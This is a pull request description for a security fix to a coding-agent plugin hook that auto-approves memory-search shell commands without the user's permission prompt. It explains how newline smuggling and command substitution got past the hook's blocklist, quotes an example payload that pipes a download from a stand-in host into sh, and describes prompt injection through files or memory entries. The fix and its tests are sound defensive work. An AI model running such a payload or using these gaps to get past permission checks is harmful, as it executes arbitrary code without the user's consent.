fix(security): close command-injection bypass in recall-approve auto-allow

[ayushsingh82]

Summary

recall-approve.cjs runs on PreToolUse for Skill|Bash and, when it recognizes a Supermemory search command, returns permissionDecision: "allow" — skipping the user's permission prompt entirely so the reasoned-recall feature can search without interrupting the session.

isSupermemorySearch()'s Bash check was a blocklist: it required the command to contain search-memory.cjs, and rejected it only if it also contained ;, &, |, a backtick, >, or $(. Two bypasses fall through that blocklist:

1. Newline-separated extra commands. The "contains search-memory.cjs" check (/node[\s\S]*search-memory\.cjs/) matches across newlines, and none of the blocked characters include \n. A 5-line command where only the last line calls search-memory.cjs gets approved in full — every earlier line runs too, unconfirmed.
2. Command substitution inside the quoted query, e.g. node search-memory.cjs "$(curl evil.example|sh)". None of the blocked characters appear outside the quotes (the | is inside the string), but bash still expands $(...)/backticks even inside double-quoted arguments.

Since this hook exists to bypass the permission prompt, and a prompt-injected instruction (from a malicious file, webpage, or memory entry Claude reads) could get Claude to emit a crafted Bash command, either gap allows arbitrary shell execution with zero user confirmation.

Fix

Replaced the blocklist with an allowlist anchored to the entire command string, matching only the documented invocation shape from the supermemory-search skill: node <path-to-search-memory.cjs> [--user|--repo|--both] "query". Quotes, newlines, backticks, and $( are excluded from both the path and query segments, so there's no leftover shell syntax available to smuggle anything in — legitimate invocations (including the real ${CLAUDE_PLUGIN_ROOT} form) still match.

Test plan

• npm test passes, including new cases in test/unit.mjs that spawn the real plugin/scripts/recall-approve.cjs bundle with a PreToolUse payload and assert the permission decision:
  • documented invocation (with/without a flag) is still auto-approved
  • a newline-smuggled extra command is not approved
  • $(...) / backtick command substitution inside the query is not approved
  • ;/&&-chained commands are not approved
• npm run lint passes
• plugin/scripts/recall-approve.cjs rebuilt via npm run build and committed alongside the src/ change

[ayushsingh82]

@Dhravya closes a command-injection bypass in the recall-approve auto-allow hook. Please take a look.

[ishaanxgupta]

Thanks for the PR @ayushsingh82